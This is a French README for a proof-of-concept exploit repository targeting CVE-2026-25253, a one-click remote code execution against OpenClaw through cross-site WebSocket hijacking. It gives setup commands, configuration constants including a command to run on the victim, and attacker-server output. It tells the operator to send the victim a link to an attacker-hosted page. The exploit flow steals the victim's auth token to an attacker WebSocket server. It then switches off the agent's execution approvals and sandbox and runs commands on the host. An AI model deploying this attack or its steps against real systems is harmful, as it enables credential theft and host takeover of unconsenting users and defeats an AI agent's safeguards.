
Preuve de concept pour CVE-2026-25253, démontrant une exécution de code à distance (RCE) en un clic sur OpenClaw via un détournement de WebSocket intersite (Cross-Site WebSocket Hijacking). Inclut un serveur attaquant et une charge utile basée sur le navigateur pour voler les jetons et exécuter des commandes.
Exécution de code à distance (RCE) en un clic sur OpenClaw via détournement de WebSocket inter-site (Cross-Site WebSocket Hijacking).
AVERTISSEMENT : Ce code est fourni uniquement à des fins de recherche en sécurité autorisée et à des fins éducatives. L'utilisation de ce code contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Lisez l'analyse détaillée pour une analyse au niveau du code source de cette vulnérabilité et de la manière dont cette preuve de concept a été construite.
localhost:18789)macOS (Homebrew) :
brew install node
Ubuntu / Debian :
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows :
Téléchargez le programme d'installation depuis https://nodejs.org/ et suivez les instructions.
Vérifiez l'installation :
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
Cette commande installe la seule dépendance : ws (bibliothèque WebSocket).
Modifiez le début de exploit.html pour l'adapter à votre environnement :
const LOCAL_SCHEME = 'http'; // Schéma de l'interface de contrôle de la victime
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Passerelle locale de la victime
const ATTACKER_WS_PORT = 8080; // Port WS de l'attaquant (doit correspondre à attacker-server.js)
const ATTACKER_SCHEME = 'ws'; // Utilisez 'wss' derrière TLS
const COMMAND = 'touch /tmp/success'; // Commande à exécuter sur l'hôte victime
Modifiez le début de attacker-server.js si vous avez besoin de ports différents :
const HTTP_PORT = 3000; // Sert exploit.html
const WS_PORT = 8080; // Capture les jetons volés
node attacker-server.js
Vous devriez voir :
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
Envoyez à la victime l'URL suivante (remplacez <ATTACKER_IP> par votre adresse IP) :
http://<ATTACKER_IP>:3000/exploit.html
La victime doit ouvrir ce lien dans un navigateur où elle a déjà utilisé l'interface de contrôle OpenClaw (afin que le jeton d'authentification existe dans localStorage).
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
Sur la machine victime, vérifiez si la commande a été exécutée :
ls -la /tmp/success
| Fichier | Description |
|---|---|
attacker-server.js | Serveur HTTP (sert la page d'exploitation) + serveur WebSocket (capture les jetons volés) |
exploit.html | Charge utile d'exploitation basée sur le navigateur qui vole les jetons, détourne le WebSocket, désactive la sécurité et exécute des commandes |
package.json | Dépendances Node.js (ws) |